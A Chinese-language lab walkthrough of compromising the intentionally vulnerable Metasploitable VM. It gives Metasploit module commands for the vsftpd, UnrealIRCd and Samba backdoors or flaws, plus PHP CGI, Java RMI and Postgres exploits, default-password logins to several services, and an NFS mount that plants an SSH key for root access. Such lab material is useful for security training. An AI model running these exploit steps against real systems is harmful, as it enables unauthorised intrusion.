靶机下载地址:Download Metasploitable - Intentionally Vulnerable Machine | Rapid7
安装方法:下载后直接用vmware打开使用,不需要安装
一、信息收集
扫描靶机开启的服务
nmap -sV 192.168.180.133

这里看到有很多端口和服务,我们一个一个来
二、渗透测试
1、21端口/vsftpd 2.3.4

此版本的vsftpd可能存在笑脸漏洞,我们进行测试
打开msfconsole漏洞测试平台

搜索vsftpd
search vsftpd

使用exploit/unix/ftp/vsftpd_234_backdoor漏洞攻击模块
use 0

查看漏洞需要配置的参数
show options

设置目标IP
set RHOSTS 192.168.180.133

运行
run

成功获取到靶机权限
2、139 | 445 Samba smbd 3.X - 4.X

Samba漏洞影响版本 Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间,条件符合我们进行渗透测试
打开msfconsole漏洞测试平台

搜索samba漏洞攻击模块
search samba

使用此模块
use 8

查看此模块需要配置的参数
show options

设置目标IP
set RHOSTS 192.168.180.133

运行
run

渗透成功,拿到靶机权限
3、22 | 23 | 3306 | 5432 | 5900弱口令
22/ssh 弱口令
我们使用靶机默认的账号密码尝试登录ssh
ssh msfadmin@192.168.180.133

登录成功
23/telnet 弱口令
使用靶机默认的账号密码登录telnet
telnet 192.168.180.133

登录成功
3306/MySQL 弱口令
我们直接远程连接数据库试一下
mysql -h 192.168.180.133

登录成功
5432/postgresql 弱口令
使用默认的账号密码登录测试一下
psql -h 192.168.180.133 -U postgres

登录成功
5900/Vnc 弱口令
密码password连接测试一下
vncviewer 192.168.180.133

登录成功
1099/Java Rmi Server命令执行漏洞

1099开启java-rmi服务可能存在Java Rmi Serve远程命令执行漏洞,我们测试一下
使用msfconsole漏洞测试平台

搜索java_rmi_server漏洞模块
search java_rmi_serve

使用漏洞测试模块测试漏洞是否存在

查看漏洞需要配置的参数
show options

设置目标IP
set RHOSTS 192.168.180.133

运行
run

运行成功,漏洞存在
使用漏洞攻击模块,进行渗透测试
use 0

查看需要配置的参数
show options

设置目标IP
set RHOSTS 192.168.180.133

运行
run

获取权限
session -i


成功获取到靶机权限
2049/nfs

看到开启nfs服务我们可以利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机
查看靶机设置的远程目录列表
showmount -e 192.168.180.133

生成ASR公钥
ssh-keygen

将靶机的根目录挂载到/tmp/xxx/下(xxx是我创建的文件夹)
mount -t nfs 192.168.180.133:/ /tmp/xxx

将生成的公钥追加到靶机的authorized_keys下

umount /tmp/xxx

使用ssh远程登录
ssh root@192.168.180.133

成功无密码登录靶机ssh
6667/UnrealIRCd 后门漏洞

发现靶机开启UnrealIRCd服务,尝试渗透
打开msfconsole漏洞测试平台

搜索unreal_ircd 漏洞模块
search unreal_ircd

使用exploit/unix/irc/unreal_ircd_3281_backdoor漏洞攻击模块
use 0

查看需要配置的参数
show options

设置目标IP
set RHOSTS 192.168.180.133

运行
run

发现运行失败,我们配置一下payload
show payloads

set payload cmd/unix/bind_perl

运行
run

渗透成功
1524/Ingreslock后门漏洞

发现靶机开启1524端口,可能会存在后门程序,我们进行渗透测试
telnet 192.168.180.133 1524

登录成功
8180/http Tomcat管理台弱口令漏洞

发现靶机开启http服务,我们访问一下

许多的tomcat管理后台都没有改密码,使用的默认密码,我们点击Tomcat Manager访问一下
默认账号密码:tomcat

成功登录管理后台
PHP CGI 参数注入执行漏洞
打开msfconsole渗透测试平台

搜索php_cgi漏洞攻击模块
search php_cgi

使用exploit/multi/http/php_cgi_arg_injection漏洞攻击模块
use 0

查看需要配置的参数
show options

设置目标IP
set RHOSTS 192.168.180.133

运行
run

成功获取到靶机权限
Postgres共享库代码任意执行
打开msfconsole渗透测试平台

搜索postgres漏洞模块
search postgres

这里我们使用exploit/linux/postgres/postgres_payload模块
use exploit/linux/postgres/postgres_payload

查看需要配置的参数
show options

设置靶机IP
set RHOSTS 192.168.180.133

设置本地IP
set LHOST 192.168.180.128

运行
run

成功拿到靶机shell